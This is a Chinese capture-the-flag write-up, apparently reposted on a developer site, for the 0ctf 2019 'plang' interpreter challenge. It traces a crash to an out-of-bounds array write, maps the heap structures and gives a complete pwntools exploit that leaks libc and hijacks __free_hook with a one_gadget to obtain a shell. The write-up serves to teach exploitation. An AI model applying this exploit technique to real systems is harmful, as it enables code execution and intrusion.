内容简介:这是0ctf中的一道题目,题目提供了一个poc文件我们在ida中的字符串中能够发现如下的代码:
这是0ctf中的一道题目,题目提供了一个poc文件
var a = "This is a PoC!" System.print(a) var b = [1, 2, 3] b[0x80000000] = 0x123
我们在ida中的字符串中能够发现如下的代码:
可以看出这是一个类似于javascript的解释器。
gdb加载程序,并设置参数,程序crash了。这是因为
漏洞分析:
我们发现rcx寄存器是个非法的地址。查看代码我们发现rcx是通过rax+rdx获取的,而rax和rdx是在栈上获取的。
通过调试我们可以看到,rax是数组b的基址,rdx是数组的偏移。漏洞点就在数组存在越界读写。
为了利用该漏洞,我们需要分析清楚该js解释器的数据结构,才能来进行读写。
分析数据结构,构造如下的poc
var a = "This is a PoC!" System.print(a) var b = [1, 2, "aaaaa",[3,"ddddd"]]
Strcut obj_ptr{
long unkown;
void *ptr1;
void *ptr2;
objbuffrer *ptr;
int size;
int size;
}
我们在数组中声明的变量值为1和2,在堆中却为0x3ff0000000000000和0x4000000000000000,实际上是用浮点形式存储的。所以我们读写的数据都要按照浮点形式存储。
Struct objtype{
long type;//如果是double类型的为4,如果为其他类型的为5
union{
double value;
obj_ptr* obj;
};
}
struct objstr{
int type;
int padding;
void* ptr1;
void* ptr2;
int some_val;
int size;
char[] contents;
};
漏洞利用:
地址泄露
在分析程序的时候,我们注意到Objstr类型,有一个size位,如果利用任意地址写,将Objstr类型的size位改大,就能打印出很多地址,而后面的内存中正好有libc有关的地址。
这里有几个地方需要注意:一个是偏移的计算,一个是要将size转化成double类型。
如果我们直接打印字符串a,后面的’x00’会截断,我们通过下面的方式逐个字节读取
任意地址写
我们发现obj_ptr结构体中存在一个指针,将objbuffrer 的指针改写成我们想改写的地址即可。
Strcut obj_ptr{
long unkown;
void *ptr1;
void *ptr2;
objbuffrer *ptr;
int size;
int size;
}
尝试了malloc_hook和free_hook后发现有个onegadget劫持free_hook可以拿到shell。
exp:
from pwn import *
import struct
EXE='./plang'
context.binary = EXE
elf = ELF(EXE)
libc=elf.libc
io=process(EXE)
def dbg(s=''):
gdb.attach(io,s)
def runscript(pay):
io.sendlineafter('> ',pay)
def int2double(num):
return struct.pack("<d", num).encode('hex')
def double2int(nstr):
return (struct.unpack('d', nstr)[0])
libcoffset=0x155554f88ca0- 0x155554b9d000
heapoffset=0x555555780750-(0x5555557741b8-0x10)
one_gadget=[0x4f2c5,0x4f322,0x10a38c]
buf=''
pay1= "var a = "aaaaaa""
pay3= "var b = [1, 2, "bbbbbb"]"
pay4= "var c = [ 4 , 5]"
b_addr = 0x555555788b70
a_addr = 0x555555787f20
offset=(a_addr-b_addr)/16
lens=1#int2double(0x100)
pay5= "b[%d] = %d" %(offset,lens)
paylist=[pay1,pay3,pay4,pay5]
for i in paylist:
runscript(i)
slibc = (0x555555788028 - 0x555555787f30)
pay1="System.print(a[%d])"%slibc
pay2="System.print(a[%d])"%(slibc+1)
pay3="System.print(a[%d])"%(slibc+2)
pay4="System.print(a[%d])"%(slibc+3)
pay5="System.print(a[%d])"%(slibc+4)
pay6="System.print(a[%d])"%(slibc+5)
paylist=[pay1,pay2,pay3,pay4,pay5,pay6]
for i in paylist:
runscript(i)
buf+=io.recv(1)
libcaddr=u64(buf.ljust(8,'x00')) - libcoffset
print 'libcaddr:',hex(libcaddr)
libc.address=libcaddr
c_addr=0x555555788e10+0x20
offset=(b_addr-c_addr)/16
free_hook=libc.sym['__free_hook']
lens=double2int(p64(free_hook-8))
pay1= "c[%d] = %.330f" %(offset,lens)
runscript(pay1)
data=double2int(p64(libcaddr+one_gadget[1]))
pay2="b[0]=%.330f"%(data)
runscript(pay2)
pay="var e="aaaaaaaaaa""
runscript(pay)
io.interactive()
体会感受:
这道题目不同于传统的pwn堆利用的那种菜单题目,如果上来就通过ida,gdb从头分析程序,会花费大量时间和精力,难度也很大。我们从poc入手通过crash分析程序的漏洞点,理清数据结构,从而实现利用,比较接近现实中漏洞利用的过程。
参考:
以上所述就是小编给大家介绍的《从crash到getshell 0ctf2019_plang 详解》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- Flutter 完整开发实战详解(十六、详解自定义布局实战)
- 数据结构 1 线性表详解 链表、 栈 、 队列 结合JAVA 详解
- 详解Openstack环境准备
- Java泛型详解
- iOS RunLoop 详解
- Raft协议详解
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Ant Colony Optimization
Marco Dorigo、Thomas Stützle / A Bradford Book / 2004-6-4 / USD 45.00
The complex social behaviors of ants have been much studied by science, and computer scientists are now finding that these behavior patterns can provide models for solving difficult combinatorial opti......一起来看看 《Ant Colony Optimization》 这本书的介绍吧!